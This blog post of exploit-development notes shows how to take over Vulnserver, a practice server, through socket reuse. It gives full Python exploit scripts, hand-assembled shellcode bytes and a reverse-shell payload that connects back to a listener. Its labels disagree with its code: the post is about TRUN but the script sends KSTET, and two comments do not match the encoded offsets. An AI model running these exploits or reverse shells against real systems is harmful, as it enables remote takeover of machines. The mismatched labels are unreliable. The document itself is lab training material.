Hello!
This post is going to cover the exploitation of the TRUN method of Vulnserver using the socket reuse technique that I explained in the last entry of the Blog.
This blog post is going to be straight forward, as it were personal notes I’m not going to explain everything. But here you can read all the details of this particular technique:
Also, in this other blog post I explained the process of exploiting a normal Buffer Overflow for the TRUN function of Vulnserver:
Well let’s start at the point that we have control of EIP, and we use it to do a JMP ESP and we have enough space to place the shellcode that we want.
The current exploit looks like this:
#!/usr/bin/python
import socket
import os
import sys
# 625011AF FFE4 JMP ESP
crash = "A" * 2003 + "\xAF\x11\x50\x62" + "C" * 2903
buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()
Our jump to ESP register is going to land in the 2903 C’s buffer string.
This time instead doing a Vanilla BOF exploitation, let’s try to do it using socket reuse.
Step 1. Finding a RECV call
Looking at the inter-modular calls in Olly I find this one:
I setup a break point there and I send some information to Vulnserver, when I reach the break point I can see that these are the values of the parameters that are stored in the stack before the function call occurs:
017CF9DC 00401958 /CALL to recv from vulnserv.00401953
017CF9E0 0000005C |Socket = 5C
017CF9E4 005E3688 |Buffer = 005E3688
017CF9E8 00001000 |BufSize = 1000 (4096.)
017CF9EC 00000000 \Flags = 0
the socket descriptor is:
00 00 00 5C
Step 2. Finding the socket descriptor
As in the last blog post, If we look for what is in address where our socket was, we can see that the socket descriptor identifier was overwritten.
We need to find a copy elsewhere, so I use the binary search in the vulnserver.exe module and I find our socket descriptor:
0171FFA9 0000 ADD BYTE PTR DS:[EAX],AL
0171FFAB 005C00 00 ADD BYTE PTR DS:[EAX+EAX],BL
0171FFAF 0000 ADD BYTE PTR DS:[EAX],AL
Step 3. Calculate socket descriptor offset
That is at this memory address(aprox): 0171FFA9 and the current value of ESP is: 0171F9E0.
The difference between the socket location and ESP is: 5C9. After some adjustments i identify that the correct offset is 5CC.
Let’s start developing our exploit to reach the socket memory address:
socket_reuse = ""
socket_reuse += "\x54" # PUSH ESP
socket_reuse += "\x59" # POP ECX
socket_reuse += "\x66\x81\xC1\xCC\x05" # ADD CX, 5CC
Step 4. Avoiding EIP/ESP collision:
We realize that ESP and EIP registers are too close and this can break our exploit execution. (In the last blog post I explained more in deep this part)
We can modify the value of ESP to prevent this:
socket_reuse += "\x83\xEC\x50" # SUB ESP, 50
Step 5. Push RECV parameters into the stack:
Now it’s the moment to do the call to recv, but before we need to setup the stack with the correct parameters.
First we push a 0 into the stack:
socket_reuse += "\x33\xD2" # XOR EDX,EDX
socket_reuse += "\x52" # PUSH EDX
Then we push a 2:
socket_reuse += "\x80\xC6\x02" # ADD DH,2
socket_reuse += "\x52" # PUSH EDX
Now we need to setup the buffer variable, it’s were our buffer it’s going to be located. The second buffer it’s going to be located after the first one, so we add 38 bytes to ESP and push that value to the stack:
socket_reuse += "\x54" # PUSH ESP
socket_reuse += "\x5A" # POP EDX
socket_reuse += "\x80\xC2\x38" # ADD DL, 38
socket_reuse += "\x52" # PUSH EDX
And the last thing that we need to push is our socket file descriptor:
socket_reuse += "\xFF\x31" # PUSH DWORD PTR DS:[ECX]
Step 6. Call RECV
Finally we call the RECV function. I’m using SHR because the memory address of RECV contains a null byte, you can read more about this in the last blog post too.
socket_reuse += "\xB8\x88\x2C\x25\x40" # MOV EAX, 40252C88
socket_reuse += "\xC1\xE8\x08" # SHR EAX, 8
socket_reuse += "\xFF\xD0" # CALL EAX
This is the final python exploit:
#!/usr/bin/python
# Author: Xavi Bel
# Date: 30/06/2019
# Website: xavibel.com
# Vulnserver - KSET - Using socket reuse
import socket
import os
import sys
import time
# socket reuse technique
# 35 bytes + 34 bytes of padding = 69 bytes
exploit = ""
exploit += "\x54" # PUSH ESP
exploit += "\x59" # POP ECX
exploit += "\x66\x81\xC1\xCC\x05" # ADD CX,5C9
exploit += "\x83\xEC\x50" # SUB ESP, 50
exploit += "\x33\xD2" # XOR EDX,EDX
exploit += "\x52" # PUSH EDX
exploit += "\x80\xC6\x02" # ADD DH,2
exploit += "\x52" # PUSH EDX
exploit += "\x54" # PUSH ESP
exploit += "\x5A" # POP EDX
exploit += "\x80\xC2\x38" # ADD DL, 36
exploit += "\x52" # PUSH EDX
exploit += "\xFF\x31" # PUSH DWORD PTR DS:[ECX]
exploit += "\xB8\x88\x2C\x25\x40" # MOV EAX, 40252C88
exploit += "\xC1\xE8\x08" # SHR EAX, 8
exploit += "\xFF\xD0" # CALL EAX
exploit += "\x90" * 34
# 625011AF - JMP ESP
crash = "\x20" + exploit + "\xAF\x11\x50\x62" + "\x90" * 18 + "\xEB\xA3"
buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
time.sleep(1)
# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode = ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"
expl.send("\x90" * 5 + shellcode + "\x90" * 156)
expl.close()
https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN-02-socket-reuse.py
And here it’s our shell!